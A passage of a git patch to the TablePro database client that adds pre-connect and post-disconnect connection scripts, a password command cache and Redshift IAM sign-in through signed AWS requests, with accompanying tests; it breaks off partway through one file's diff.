From 7272dc7f98dde10c1a9a566eae44a28d3650e638 Mon Sep 17 00:00:00 2001 From: Ngo Quoc Dat Date: Wed, 21 Oct 2026 02:05:14 +0700 Subject: [PATCH 1/3] feat(connections): pass connection details to scripts, add Redshift IAM sign-in --- .../Bundle/ExportableConnection.swift | 1 + .../ShareableAdditionalFieldsTests.swift | 1 + apple/TablePro/AppDelegate.swift | 1 + .../Database/AWS/AWSDeadlineSession.swift | 26 ++ .../Core/Database/AWS/AWSIAMTokenSigner.swift | 17 +- .../Core/Database/AWS/AWSJSONRequest.swift | 100 +++++++ .../Core/Database/AWS/RedshiftIAMSignIn.swift | 266 ++++++++++++++++++ .../ConnectionCredentialResolver.swift | 30 +- .../Core/Database/DatabaseDriver.swift | 20 +- .../Database/DatabaseManager+Health.swift | 1 + .../Database/DatabaseManager+Sessions.swift | 72 +++-- .../Core/Database/DatabaseManager.swift | 3 + .../Core/Database/IAMPasswordMinter.swift | 19 +- .../Core/Database/NativeDumpService.swift | 15 +- .../Core/Database/PostDisconnectScripts.swift | 108 +++++++ .../Database/PreConnectScriptConsent.swift | 31 +- ...uginMetadataRegistry+CuratedDefaults.swift | 12 +- .../ConnectionScriptRunner.swift | 160 +++++++++++ .../Infrastructure/PreConnectHookRunner.swift | 112 -------- .../PreConnectScriptPrompt.swift | 22 +- .../Connection/ConnectionScriptContext.swift | 144 ++++++++++ .../Connection/PasswordCommandCache.swift | 57 ++++ .../Connection/PasswordSourceResolver.swift | 29 +- .../Connection/DatabaseConnection.swift | 27 ++ .../Models/Connection/PasswordSource.swift | 20 +- .../TablePro/Resources/Localizable.xcstrings | 51 ++++ .../ConnectionFormCoordinator.swift | 18 +- .../Panes/OptionsPaneView.swift | 43 ++- .../Support/ConnectionFormEdits.swift | 2 + .../ViewModels/AdvancedPaneViewModel.swift | 7 + .../CredentialProfileEditorSheet.swift | 41 ++- apple/TableProTests/AWS/AWSIAMAuthTests.swift | 12 +- .../AWS/RedshiftIAMSignInTests.swift | 217 ++++++++++++++ .../Database/PostDisconnectScriptsTests.swift | 85 ++++++ .../PreConnectScriptConsentTests.swift | 122 +++++++- .../ConnectionScriptRunnerTests.swift | 107 +++++++ .../PreConnectHookRunnerTests.swift | 41 --- .../ConnectionScriptContextTests.swift | 112 ++++++++ .../PasswordSourceResolverTests.swift | 54 ++++ ...abaseConnectionAdditionalFieldsTests.swift | 16 ++ .../Models/PasswordSourceCodableTests.swift | 10 + .../ViewModels/ConnectionFormEditsTests.swift | 2 + 42 files changed, 1978 insertions(+), 256 deletions(-) create mode 100644 apple/TablePro/Core/Database/AWS/AWSDeadlineSession.swift create mode 100644 apple/TablePro/Core/Database/AWS/AWSJSONRequest.swift create mode 100644 apple/TablePro/Core/Database/AWS/RedshiftIAMSignIn.swift create mode 100644 apple/TablePro/Core/Database/PostDisconnectScripts.swift create mode 100644 apple/TablePro/Core/Services/Infrastructure/ConnectionScriptRunner.swift delete mode 100644 apple/TablePro/Core/Services/Infrastructure/PreConnectHookRunner.swift create mode 100644 apple/TablePro/Core/Utilities/Connection/ConnectionScriptContext.swift create mode 100644 apple/TablePro/Core/Utilities/Connection/PasswordCommandCache.swift create mode 100644 apple/TableProTests/AWS/RedshiftIAMSignInTests.swift create mode 100644 apple/TableProTests/Core/Database/PostDisconnectScriptsTests.swift create mode 100644 apple/TableProTests/Core/Services/Infrastructure/ConnectionScriptRunnerTests.swift delete mode 100644 apple/TableProTests/Core/Services/Infrastructure/PreConnectHookRunnerTests.swift create mode 100644 apple/TableProTests/Core/Utilities/ConnectionScriptContextTests.swift diff --git a/apple/Packages/TableProCore/Sources/TableProImport/Bundle/ExportableConnection.swift b/apple/Packages/TableProCore/Sources/TableProImport/Bundle/ExportableConnection.swift index 3917ef6b15..1ad029607f 100644 --- a/apple/Packages/TableProCore/Sources/TableProImport/Bundle/ExportableConnection.swift +++ b/apple/Packages/TableProCore/Sources/TableProImport/Bundle/ExportableConnection.swift @@ -143,6 +143,7 @@ public extension ExportableConnection { private static let queryTimeoutSecondsRange = 0 ... Int(Int32.max) / 1_000 static let importBlockedAdditionalFieldKeys: Set = [ + "postdisconnectscript", "preconnectscript", "pretunnelhost", "pretunnelport", diff --git a/apple/Packages/TableProCore/Tests/TableProImportTests/ShareableAdditionalFieldsTests.swift b/apple/Packages/TableProCore/Tests/TableProImportTests/ShareableAdditionalFieldsTests.swift index 4af96fdd03..fdf7e9e06e 100644 --- a/apple/Packages/TableProCore/Tests/TableProImportTests/ShareableAdditionalFieldsTests.swift +++ b/apple/Packages/TableProCore/Tests/TableProImportTests/ShareableAdditionalFieldsTests.swift @@ -6,6 +6,7 @@ struct ShareableAdditionalFieldsTests { @Test func testLeavesOutEveryImportBlockedKeyInAnyCase() { let fields = [ "preConnectScript": "export PGTOKEN=secret-token", + "postDisconnectScript": "networksetup -disconnectpppoeservice corp", "usePgpass": "true", "PROMPTFORPASSWORD": "true", "awsRegion": "us-east-1", diff --git a/apple/TablePro/AppDelegate.swift b/apple/TablePro/AppDelegate.swift index 3ed4e10eb0..c31516e378 100644 --- a/apple/TablePro/AppDelegate.swift +++ b/apple/TablePro/AppDelegate.swift @@ -163,6 +163,7 @@ class AppDelegate: NSObject, NSApplicationDelegate { Task { await MCPServerManager.shared.stop() + await DatabaseManager.shared.runPostDisconnectScriptsBeforeQuit() NSApp.reply(toApplicationShouldTerminate: true) } return .terminateLater diff --git a/apple/TablePro/Core/Database/AWS/AWSDeadlineSession.swift b/apple/TablePro/Core/Database/AWS/AWSDeadlineSession.swift new file mode 100644 index 0000000000..c6f2b5edbf --- /dev/null +++ b/apple/TablePro/Core/Database/AWS/AWSDeadlineSession.swift @@ -0,0 +1,26 @@ +// +// AWSDeadlineSession.swift +// TablePro +// + +import Foundation +import TableProPluginKit + +enum AWSDeadlineSession { + // A connect's AWS requests share its deadline; a later sign-in has none and uses the shared session. + static func run( + within deadline: ConnectionDeadline?, + _ body: (URLSession) async throws -> Value + ) async throws -> Value { + guard let deadline else { + return try await body(AWSHTTP.shared) + } + let timeout = ConnectionCredentialResolver.credentialRequestTimeout(for: deadline) + let configuration = URLSessionConfiguration.default + configuration.timeoutIntervalForRequest = timeout + configuration.timeoutIntervalForResource = timeout + let session = URLSession(configuration: configuration) + defer { session.invalidateAndCancel() } + return try await body(session) + } +} diff --git a/apple/TablePro/Core/Database/AWS/AWSIAMTokenSigner.swift b/apple/TablePro/Core/Database/AWS/AWSIAMTokenSigner.swift index 17ea18750f..f5e1987958 100644 --- a/apple/TablePro/Core/Database/AWS/AWSIAMTokenSigner.swift +++ b/apple/TablePro/Core/Database/AWS/AWSIAMTokenSigner.swift @@ -12,21 +12,10 @@ struct AWSIAMTokenSigner: Sendable { let target: Target func token(deadline: ConnectionDeadline?) async throws -> String { - let credentials = try await resolveCredentials(deadline: deadline) - return try target.token(username: username, fields: fields, credentials: credentials) - } - - private func resolveCredentials(deadline: ConnectionDeadline?) async throws -> AWSCredentials { - guard let deadline else { - return try await AWSCredentialResolver.resolve(source: source, fields: fields) + let credentials = try await AWSDeadlineSession.run(within: deadline) { session in + try await AWSCredentialResolver.resolve(source: source, fields: fields, session: session) } - let timeout = ConnectionCredentialResolver.credentialRequestTimeout(for: deadline) - let configuration = URLSessionConfiguration.default - configuration.timeoutIntervalForRequest = timeout - configuration.timeoutIntervalForResource = timeout - let session = URLSession(configuration: configuration) - defer { session.invalidateAndCancel() } - return try await AWSCredentialResolver.resolve(source: source, fields: fields, session: session) + return try target.token(username: username, fields: fields, credentials: credentials) } } diff --git a/apple/TablePro/Core/Database/AWS/AWSJSONRequest.swift b/apple/TablePro/Core/Database/AWS/AWSJSONRequest.swift new file mode 100644 index 0000000000..5987e7b0ca --- /dev/null +++ b/apple/TablePro/Core/Database/AWS/AWSJSONRequest.swift @@ -0,0 +1,100 @@ +// +// AWSJSONRequest.swift +// TablePro +// + +import Foundation +import TableProPluginKit + +// A SigV4-signed call to an AWS service that speaks the JSON 1.1 protocol. +struct AWSJSONRequest: Sendable, Equatable { + static let contentType = "application/x-amz-json-1.1" + + let service: String + let region: String + let host: String + let target: String + let body: Data + + init(service: String, region: String, target: String, body: Data) { + let canonicalRegion = AWSPartition.canonicalRegion(region) + self.service = service + self.region = canonicalRegion + host = AWSPartition.host(service: service, region: canonicalRegion) + self.target = target + self.body = body + } + + func signedURLRequest(credentials: AWSCredentials, now: Date = Date()) throws -> URLRequest { + guard let url = URL(string: "https://\(host)/") else { + throw AWSAuthError.missingConfiguration( + String( + format: String(localized: "Could not build the %1$@ endpoint for the AWS region \"%2$@\"."), + service, region + ) + ) + } + + let stamps = Self.timestamps(for: now) + var headers = [ + "content-type": Self.contentType, + "host": host, + "x-amz-date": stamps.amzDate, + "x-amz-target": target + ] + if let sessionToken = credentials.sessionToken, !sessionToken.isEmpty { + headers["x-amz-security-token"] = sessionToken + } + + let signedHeaderNames = headers.keys.sorted() + let canonicalHeaders = signedHeaderNames.map { "\($0):\(headers[$0] ?? "")\n" }.joined() + let signedHeaders = signedHeaderNames.joined(separator: ";") + let canonicalRequest = [ + "POST", + "/", + "", + canonicalHeaders, + signedHeaders, + AWSSigV4.sha256Hex(body) + ].joined(separator: "\n") + + let credentialScope = "\(stamps.dateStamp)/\(region)/\(service)/aws4_request" + let stringToSign = [ + "AWS4-HMAC-SHA256", + stamps.amzDate, + credentialScope, + AWSSigV4.sha256Hex(Data(canonicalRequest.utf8)) + ].joined(separator: "\n") + + let signingKey = AWSSigV4.deriveSigningKey( + secretKey: credentials.secretAccessKey, + dateStamp: stamps.dateStamp, + region: region, + service: service + ) + let signature = AWSSigV4.hmacHex(key: signingKey, data: Data(stringToSign.utf8)) + + var request = URLRequest(url: url) + request.httpMethod = "POST" + request.httpBody = body + for name in signedHeaderNames { + request.setValue(headers[name], forHTTPHeaderField: name) + } + request.setValue( + "AWS4-HMAC-SHA256 Credential=\(credentials.accessKeyId)/\(credentialScope), " + + "SignedHeaders=\(signedHeaders), Signature=\(signature)", + forHTTPHeaderField: "Authorization" + ) + return request + } + + private static func timestamps(for now: Date) -> (amzDate: String, dateStamp: String) { + let formatter = DateFormatter() + formatter.locale = Locale(identifier: "en_US_POSIX") + formatter.timeZone = TimeZone(identifier: "UTC") + formatter.dateFormat = "yyyyMMdd'T'HHmmss'Z'" + let amzDate = formatter.string(from: now) + formatter.dateFormat = "yyyyMMdd" + return (amzDate, formatter.string(from: now)) + } +} diff --git a/apple/TablePro/Core/Database/AWS/RedshiftIAMSignIn.swift b/apple/TablePro/Core/Database/AWS/RedshiftIAMSignIn.swift new file mode 100644 index 0000000000..67fe1cec4d --- /dev/null +++ b/apple/TablePro/Core/Database/AWS/RedshiftIAMSignIn.swift @@ -0,0 +1,266 @@ +// +// RedshiftIAMSignIn.swift +// TablePro +// + +import Foundation +import TableProPluginKit + +// Redshift issues the user and a temporary password together, so a sign-in mints both. +struct RedshiftIAMSignIn: Sendable { + enum Endpoint: Equatable, Sendable { + case cluster(identifier: String, region: String) + case serverless(workgroup: String, region: String) + + var region: String { + switch self { + case .cluster(_, let region), .serverless(_, let region): region + } + } + } + + static let endpointFieldId = "awsRedshiftEndpoint" + + let source: String + let databaseUser: String + let database: String + let fields: [String: String] + let configuredHost: String + let preTunnelHost: String? + + func signIn(deadline: ConnectionDeadline?) async throws -> ResolvedSignIn { + let endpoint = try resolveEndpoint() + let region = nonEmpty(fields["awsRegion"]) ?? endpoint.region + return try await AWSDeadlineSession.run(within: deadline) { session in + let credentials = try await AWSCredentialResolver.resolve(source: source, fields: fields, session: session) + let urlRequest = try request(for: endpoint, region: region, credentials: credentials) + let data: Data + let response: URLResponse + do { + (data, response) = try await session.data(for: urlRequest) + } catch { + throw RedshiftIAMError.requestFailed(error.localizedDescription) + } + guard let http = response as? HTTPURLResponse, http.statusCode == 200 else { + let status = (response as? HTTPURLResponse)?.statusCode ?? 0 + throw RedshiftIAMError.requestFailed(Self.errorMessage(in: data, for: endpoint) ?? "HTTP \(status)") + } + return try Self.signIn(from: data, for: endpoint) + } + } + + func resolveEndpoint() throws -> Endpoint { + if let override = nonEmpty(fields[Self.endpointFieldId]) { + let overrideHost = Self.hostName(in: override) + guard let endpoint = Self.endpoint(forHost: overrideHost) else { + throw RedshiftIAMError.endpointInvalid(override) + } + // The password goes to the host the driver dials, so it must be a forward or that endpoint itself. + guard Self.isLoopback(configuredHost) + || overrideHost.caseInsensitiveCompare(configuredHost) == .orderedSame + else { + throw RedshiftIAMError.endpointNotDialed(host: configuredHost) + } + return endpoint + } + for host in [preTunnelHost, configuredHost].compactMap({ $0 }) { + if let endpoint = Self.endpoint(forHost: host) { + return endpoint + } + } + throw RedshiftIAMError.endpointUnresolved(host: preTunnelHost ?? configuredHost) + } + + func request(for endpoint: Endpoint, region: String, credentials: AWSCredentials, now: Date = Date()) throws -> URLRequest { + switch endpoint { + case .cluster(let identifier, _): + var parameters = ["Version": "2012-12-01", "ClusterIdentifier": identifier] + if let databaseUser = nonEmpty(databaseUser) { + parameters["Action"] = "GetClusterCredentials" + parameters["DbUser"] = databaseUser + } else { + parameters["Action"] = "GetClusterCredentialsWithIAM" + } + if let database = nonEmpty(database) { + parameters["DbName"] = database + } + return try AWSQueryRequest(service: "redshift", region: region, parameters: parameters) + .signedURLRequest(credentials: credentials, now: now) + case .serverless(let workgroup, _): + var body = ["workgroupName": workgroup] + if let database = nonEmpty(database) { + body["dbName"] = database + } + let data = try JSONSerialization.data(withJSONObject: body, options: [.sortedKeys]) + return try AWSJSONRequest( + service: "redshift-serverless", + region: region, + target: "RedshiftServerless.GetCredentials", + body: data + ).signedURLRequest(credentials: credentials, now: now) + } + } + + // Only a name AWS issued, under the region's own DNS suffix: anything else is someone else's host. + static func endpoint(forHost host: String) -> Endpoint? { + var name = host.trimmingCharacters(in: .whitespaces).lowercased() + if name.hasSuffix(".") { + name.removeLast() + } + let labels = name.split(separator: ".", omittingEmptySubsequences: false).map(String.init) + guard labels.count > 4, !labels[0 ..< 3].contains(where: \.isEmpty) else { return nil } + let region = labels[2] + guard labels[4...].joined(separator: ".") == AWSPartition.resolve(region: region).dnsSuffix else { return nil } + switch labels[3] { + case "redshift": return .cluster(identifier: labels[0], region: region) + case "redshift-serverless": return .serverless(workgroup: labels[0], region: region) + default: return nil + } + } + + static func signIn(from data: Data, for endpoint: Endpoint) throws -> ResolvedSignIn { + let user: String? + let password: String? + switch endpoint { + case .cluster: + let parser = ClusterCredentialsXMLParser() + guard parser.parse(data) else { throw RedshiftIAMError.unreadableResponse } + (user, password) = (parser.databaseUser, parser.databasePassword) + case .serverless: + let object = try? JSONSerialization.jsonObject(with: data) as? [String: Any] + (user, password) = (object?["dbUser"] as? String, object?["dbPassword"] as? String) + } + guard let user, !user.isEmpty, let password, !password.isEmpty else { + throw RedshiftIAMError.unreadableResponse + } + return ResolvedSignIn(username: user, password: password) + } + + static func errorMessage(in data: Data, for endpoint: Endpoint) -> String? { + switch endpoint { + case .cluster: + return AWSQueryErrorResponse.parse(data)?.summary + case .serverless: + guard let object = try? JSONSerialization.jsonObject(with: data) as? [String: Any] else { return nil } + let code = (object["__type"] as? String).map { $0.split(separator: "#").last.map(String.init) ?? $0 } + let message = object["message"] as? String ?? object["Message"] as? String + return AWSQueryErrorResponse(code: code, message: message).summary + } + } + + private static func isLoopback(_ host: String) -> Bool { + let normalized = host.trimmingCharacters(in: .whitespaces).lowercased() + return ["localhost", "localhost.localdomain", "::1", "[::1]", "0.0.0.0"].contains(normalized) + || normalized.hasPrefix("127.") + } + + private static func hostName(in value: String) -> String { + var text = value.trimmingCharacters(in: .whitespaces) + if let scheme = text.range(of: "://") { + text = String(text[scheme.upperBound...]) + } + if let slash = text.firstIndex(of: "/") { + text = String(text[.. String? { + guard let value else { return nil } + let trimmed = value.trimmingCharacters(in: .whitespaces) + return trimmed.isEmpty ? nil : trimmed + } +} + +extension RedshiftIAMSignIn { + @MainActor + init(connection: DatabaseConnection, source: String, fields: [String: String]) { + self.init( + source: source, + databaseUser: ConnectionCredentialResolver.resolveUsername(for: connection), + database: connection.database, + fields: fields, + configuredHost: connection.host, + preTunnelHost: connection.preTunnelHost + ) + } +} + +enum RedshiftIAMError: LocalizedError, Equatable { + case endpointUnresolved(host: String) + case endpointInvalid(String) + case endpointNotDialed(host: String) + case requestFailed(String) + case unreadableResponse + + var errorDescription: String? { + switch self { + case .endpointUnresolved(let host): + return String( + format: String(localized: """ + TablePro cannot tell which Redshift cluster or workgroup "%@" is. Set Host to the \ + endpoint AWS issued, such as my-cluster.abc123.us-east-1.redshift.amazonaws.com, or \ + enter that endpoint as the Redshift Endpoint when you connect through a port forward. + """), + host + ) + case .endpointInvalid(let value): + return String( + format: String(localized: "\"%@\" is not a Redshift cluster or Serverless workgroup endpoint."), + value + ) + case .endpointNotDialed(let host): + return String( + format: String(localized: """ + The Redshift Endpoint applies only when Host is a local port forward or that same \ + endpoint, and "%@" is neither. + """), + host + ) + case .requestFailed(let message): + return String(format: String(localized: "AWS did not issue Redshift credentials: %@"), message) + case .unreadableResponse: + return String(localized: "AWS answered without the Redshift user and password.") + } + } +} + +private final class ClusterCredentialsXMLParser: NSObject, XMLParserDelegate { + var databaseUser: String? + var databasePassword: String? + + private var buffer = "" + + func parse(_ data: Data) -> Bool { + let parser = XMLParser(data: data) + parser.delegate = self + return parser.parse() + } + + func parser( + _ parser: XMLParser, + didStartElement elementName: String, + namespaceURI: String?, + qualifiedName: String?, + attributes: [String: String] + ) { + buffer = "" + } + + func parser(_ parser: XMLParser, foundCharacters string: String) { + buffer += string + } + + func parser(_ parser: XMLParser, didEndElement elementName: String, namespaceURI: String?, qualifiedName: String?) { + let value = buffer.trimmingCharacters(in: .whitespacesAndNewlines) + switch elementName { + case "DbUser": databaseUser = value + case "DbPassword": databasePassword = value + default: break + } + buffer = "" + } +} diff --git a/apple/TablePro/Core/Database/ConnectionCredentialResolver.swift b/apple/TablePro/Core/Database/ConnectionCredentialResolver.swift index a83f661979..de277efbec 100644 --- a/apple/TablePro/Core/Database/ConnectionCredentialResolver.swift +++ b/apple/TablePro/Core/Database/ConnectionCredentialResolver.swift @@ -24,9 +24,23 @@ enum ConnectionCredentialResolver { override: String? = nil, deadline: ConnectionDeadline? = nil ) async throws -> String { + try await resolveSignIn(for: connection, fields: fields, override: override, deadline: deadline).password + } + + // A nil username keeps the connection's own; Redshift IAM is the sign-in that hands back another. + static func resolveSignIn( + for connection: DatabaseConnection, + fields: [String: String], + override: String? = nil, + deadline: ConnectionDeadline? = nil + ) async throws -> ResolvedSignIn { if let minter = iamPasswordMinter(for: connection, fields: fields) { return try await minter.mint(deadline: deadline) } + return ResolvedSignIn(username: nil, password: try await resolveStoredPassword(for: connection, override: override)) + } + + private static func resolveStoredPassword(for connection: DatabaseConnection, override: String?) async throws -> String { if let override { return override } if case .profile(let profileId) = connection.credentialMode, let profile = CredentialProfileStorage.shared.profile(for: profileId) { @@ -36,7 +50,7 @@ enum ConnectionCredentialResolver { guard await ConnectionStorage.shared.storeIsTrusted else { throw PasswordSourceResolver.ResolutionError.storeNotTrusted } - return try await PasswordSourceResolver.resolve(passwordSource) + return try await PasswordSourceResolver.resolve(passwordSource, for: ConnectionScriptContext(connection: connection)) } if connection.usePgpass { return pgpassPassword(for: connection, username: resolveUsername(for: connection)) @@ -92,7 +106,7 @@ enum ConnectionCredentialResolver { guard CredentialProfileStorage.shared.storeIsTrusted else { throw PasswordSourceResolver.ResolutionError.storeNotTrusted } - return try await PasswordSourceResolver.resolve(source) + return try await PasswordSourceResolver.resolve(source, for: ConnectionScriptContext(connection: connection)) } } @@ -107,15 +121,14 @@ enum ConnectionCredentialResolver { ) ?? "" } - /// What mints the password of a connection that signs in with a token, or nil when the host does - /// not: a plain password, or an AWS IAM sign-in its driver resolves itself. The AWS token is signed - /// for the resolved username rather than `connection.username`, which can lag behind the profile - /// until a write-through lands. + // The AWS token is signed for the resolved username: `connection.username` can lag behind its profile. static func iamPasswordMinter( for connection: DatabaseConnection, fields: [String: String] ) -> IAMPasswordMinter? { switch connection.iamSignIn { + case .aws(let source) where connection.type == .redshift: + return .redshift(RedshiftIAMSignIn(connection: connection, source: source, fields: fields)) case .aws(let source): guard !connection.resolvesAWSIAMInDriver else { return nil } return .aws(AWSIAMTokenSigner( @@ -141,3 +154,8 @@ enum ConnectionCredentialResolver { TimeInterval(max(1, deadline.remainingMilliseconds(at: now))) / 1_000 } } + +struct ResolvedSignIn: Equatable, Sendable { + let username: String? + let password: String +} diff --git a/apple/TablePro/Core/Database/DatabaseDriver.swift b/apple/TablePro/Core/Database/DatabaseDriver.swift index 8134688c52..fbba72d519 100644 --- a/apple/TablePro/Core/Database/DatabaseDriver.swift +++ b/apple/TablePro/Core/Database/DatabaseDriver.swift @@ -981,13 +981,13 @@ enum DatabaseDriverFactory { ) let credentialFields = additionalFields let passwordMinter = ConnectionCredentialResolver.iamPasswordMinter(for: connection, fields: credentialFields) - let password: String + let signIn: ResolvedSignIn if requiresHostDeadline { - password = try await resolvePasswordWithinDeadline( + signIn = try await resolvePasswordWithinDeadline( deadline: deadline, endpoint: timeoutEndpoint ) { - try await ConnectionCredentialResolver.resolvePassword( + try await ConnectionCredentialResolver.resolveSignIn( for: connection, fields: credentialFields, override: passwordOverride, @@ -995,7 +995,7 @@ enum DatabaseDriverFactory { ) } } else { - password = try await ConnectionCredentialResolver.resolvePassword( + signIn = try await ConnectionCredentialResolver.resolveSignIn( for: connection, fields: credentialFields, override: passwordOverride, @@ -1022,8 +1022,8 @@ enum DatabaseDriverFactory { let config = DriverConnectionConfig( host: connection.host, port: connection.port, - username: preparedConfiguration.username, - password: password, + username: signIn.username ?? preparedConfiguration.username, + password: signIn.password, database: connection.database, ssl: connection.transportSSLConfiguration, additionalFields: additionalFields, @@ -1076,13 +1076,13 @@ enum DatabaseDriverFactory { return fields } - static func resolvePasswordWithinDeadline( + static func resolvePasswordWithinDeadline( deadline: ConnectionDeadline, endpoint: ConnectionTimeoutEndpoint, - resolver: @escaping @MainActor @Sendable () async throws -> String - ) async throws -> String { + resolver: @escaping @MainActor @Sendable () async throws -> Value + ) async throws -> Value { try deadline.check(endpoint: endpoint) - let gate = ConnectionSingleResumeGate() + let gate = ConnectionSingleResumeGate() let operation = Task { @MainActor in do { gate.resume(with: .success(try await resolver())) diff --git a/apple/TablePro/Core/Database/DatabaseManager+Health.swift b/apple/TablePro/Core/Database/DatabaseManager+Health.swift index c3be0d168a..b6c7a6d576 100644 --- a/apple/TablePro/Core/Database/DatabaseManager+Health.swift +++ b/apple/TablePro/Core/Database/DatabaseManager+Health.swift @@ -544,6 +544,7 @@ extension DatabaseManager { return (candidate, passwordOverride) } catch { driver?.disconnect() + PasswordCommandCache.shared.forget(connectionId: session.connection.id) let reportedError = await Self.preferredTunnelFailure(replacing: error) { await self.attributedTunnelFailure(for: session.connection) } diff --git a/apple/TablePro/Core/Database/DatabaseManager+Sessions.swift b/apple/TablePro/Core/Database/DatabaseManager+Sessions.swift index 89f575716b..ab5286e8ac 100644 --- a/apple/TablePro/Core/Database/DatabaseManager+Sessions.swift +++ b/apple/TablePro/Core/Database/DatabaseManager+Sessions.swift @@ -51,7 +51,7 @@ extension DatabaseManager { try await preConnectScriptConsent.authorize(connection, trigger: trigger) /// The answer can take a minute, long enough for the person to cancel the attempt. guard !isAttemptCancelled(attempt, for: connection.id) else { throw CancellationError() } - try await runPreConnectScriptIfNeeded(resolvedConnection, attempt: attempt) + try await runPreConnectScriptIfNeeded(connection, resolvedConnection: resolvedConnection, attempt: attempt) } catch { finalizeConnectionFailure( for: connection.id, @@ -280,17 +280,43 @@ extension DatabaseManager { return queryTimeoutSeconds } + // Runs the text consent showed: bash expands its variables, never `EnvVarResolver`. private func runPreConnectScriptIfNeeded( _ connection: DatabaseConnection, + resolvedConnection: DatabaseConnection, attempt: Int ) async throws { - guard let script = connection.preConnectScript, - !script.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty - else { - return - } + guard let script = connection.trimmedPreConnectScript else { return } reportStage(.runningPreConnectScript, attempt: attempt, for: connection.id) - try await PreConnectHookRunner.run(script: script) + await postDisconnectScripts.finish(for: connection.id) + guard !postDisconnectScripts.isDraining else { throw CancellationError() } + postDisconnectScripts.setupStarted() + defer { postDisconnectScripts.setupEnded() } + let context = ConnectionScriptContext(connection: resolvedConnection) + let timeoutSeconds = connection.effectiveScriptTimeoutSeconds + let outcome = try await ConnectionScriptRunner.run( + script, + environment: context.environment, + timeoutSeconds: timeoutSeconds + ) + switch outcome { + case .succeeded: + break + case let .failed(exitCode, stderr): + throw PreConnectScriptError.failed(exitCode: exitCode, stderr: stderr) + case .timedOut: + throw PreConnectScriptError.timedOut(seconds: timeoutSeconds) + } + + guard let postDisconnectScript = connection.trimmedPostDisconnectScript else { return } + postDisconnectScripts.arm( + PendingPostDisconnectScript(script: postDisconnectScript, context: context, timeoutSeconds: timeoutSeconds), + for: connection.id + ) + // A cancel that already removed the session entry would otherwise leave it armed until quit. + if isAttemptCancelled(attempt, for: connection.id), activeSessions[connection.id] == nil { + postDisconnectScripts.fire(for: connection.id) + } } private func isAttemptCancelled(_ attempt: Int, for connectionId: UUID) -> Bool { @@ -315,15 +341,8 @@ extension DatabaseManager { return resolved } - /// The classified error is recorded before the session entry goes away. Only the window that - /// started an attempt learns the outcome directly, so without this a connect kicked off from - /// anywhere else leaves the window to infer "the connection was closed" from an empty slot - /// while the real reason is thrown away. - /// `attempt` is what keeps a late failure from clearing a newer attempt's step. A cancelled - /// connect blocked in a C call returns after the retry has already begun and reported its own - /// step, and a clear keyed on the connection alone would take that one away, leaving a window - /// that joins the retry seeding nothing. Omitting it means the caller owns no attempt, which - /// is the tunnel teardown path. + // The reason is recorded before the entry goes, for windows that did not start the attempt. + // `attempt` keeps a late failure from clearing a newer attempt's step; nil is the tunnel teardown. internal func finalizeConnectionFailure( for connectionId: UUID, cancelled: Bool, @@ -333,6 +352,8 @@ extension DatabaseManager { if attempt.map({ connectionAttempts.isCurrent($0, for: connectionId) }) ?? true { clearConnectionStage(for: connectionId) } + // The next attempt reruns the password command rather than retrying the output that just failed. + PasswordCommandCache.shared.forget(connectionId: connectionId) guard !cancelled else { return } if let error, let reason = ConnectionFailureClassifier.endReason( for: error, @@ -782,6 +803,18 @@ extension DatabaseManager { ) } + // Closes the connections a cleanup script may need gone, but keeps the entries "Reopen Last Session" reads. + func runPostDisconnectScriptsBeforeQuit() async { + await postDisconnectScripts.fireAllAndWait { connectionIds in + for connectionId in connectionIds { + await self.stopHealthMonitor(for: connectionId) + self.activeSessions[connectionId]?.driver?.disconnect() + MetadataConnectionPool.shared.closeAll(connectionId: connectionId) + self.sessionLanes.closeAll(for: connectionId) + } + } + } + func disconnectAll() async { let monitorIds = Array(healthMonitors.keys) for sessionId in monitorIds { @@ -1040,13 +1073,10 @@ extension DatabaseManager { userRequestedDisconnects.contains(connectionId) } - /// Drains the driver gate in the same step the entry goes, so nothing still queued for this - /// session wakes to find a reopened one under the same id and runs there. - /// The pooled connections go with the entry, whichever path removed it. Only a user disconnect - /// used to close them, so a connect that failed or was cancelled left them open on the server - /// until the idle sweep, and a new session under the same id could be answered by the old ones. + // Every path that ends a session comes through here, so the gate, the pool and the post-disconnect script go with the entry. internal func removeSessionEntry(for connectionId: UUID) { activeSessions.removeValue(forKey: connectionId) + postDisconnectScripts.fire(for: connectionId) MetadataConnectionPool.shared.closeAll(connectionId: connectionId) sessionLanes.closeAll(for: connectionId) monitorPingedDrivers.removeValue(forKey: connectionId) diff --git a/apple/TablePro/Core/Database/DatabaseManager.swift b/apple/TablePro/Core/Database/DatabaseManager.swift index c13fa79aa1..90024a8dee 100644 --- a/apple/TablePro/Core/Database/DatabaseManager.swift +++ b/apple/TablePro/Core/Database/DatabaseManager.swift @@ -21,6 +21,7 @@ final class DatabaseManager: ObservableObject { internal let pluginManager: PluginManager internal let aiAccessApprovals: AIAccessApprovals internal let preConnectScriptConsent: PreConnectScriptConsent + internal let postDisconnectScripts: PostDisconnectScripts internal let localNetworkProbe: any LocalNetworkAccessProbing internal var historyRecorder: QueryHistoryRecording = QueryHistoryManager.shared @@ -181,6 +182,7 @@ final class DatabaseManager: ObservableObject { pluginManager: PluginManager = .shared, aiAccessApprovals: AIAccessApprovals = .shared, preConnectScriptConsent: PreConnectScriptConsent = PreConnectScriptConsent(), + postDisconnectScripts: PostDisconnectScripts = PostDisconnectScripts(), localNetworkProbe: any LocalNetworkAccessProbing = NetworkFrameworkLocalNetworkProbe() ) { self.connectionStorage = connectionStorage @@ -188,6 +190,7 @@ final class DatabaseManager: ObservableObject { self.pluginManager = pluginManager self.aiAccessApprovals = aiAccessApprovals self.preConnectScriptConsent = preConnectScriptConsent + self.postDisconnectScripts = postDisconnectScripts self.localNetworkProbe = localNetworkProbe observeConnectionUpdates() observeHealthCheckSetting() diff --git a/apple/TablePro/Core/Database/IAMPasswordMinter.swift b/apple/TablePro/Core/Database/IAMPasswordMinter.swift index 23be4d31a3..f56c974aee 100644 --- a/apple/TablePro/Core/Database/IAMPasswordMinter.swift +++ b/apple/TablePro/Core/Database/IAMPasswordMinter.swift @@ -5,25 +5,26 @@ import Foundation -/// Mints the token an IAM connection signs in with, for the connect and again for each sign-in the -/// driver makes after it. It never needs the main actor. +// Mints for the connect and again for every later sign-in the driver makes, never on the main actor. enum IAMPasswordMinter: Sendable { case aws(AWSIAMTokenSigner) + case redshift(RedshiftIAMSignIn) case googleCloud(CloudSQLIAMLogin) - /// A Google token request carries its own 30-second limit, and the connect races the whole - /// resolution against its deadline, so only the AWS credential requests take the deadline. - func mint(deadline: ConnectionDeadline?) async throws -> String { + // Only AWS requests take the deadline: a 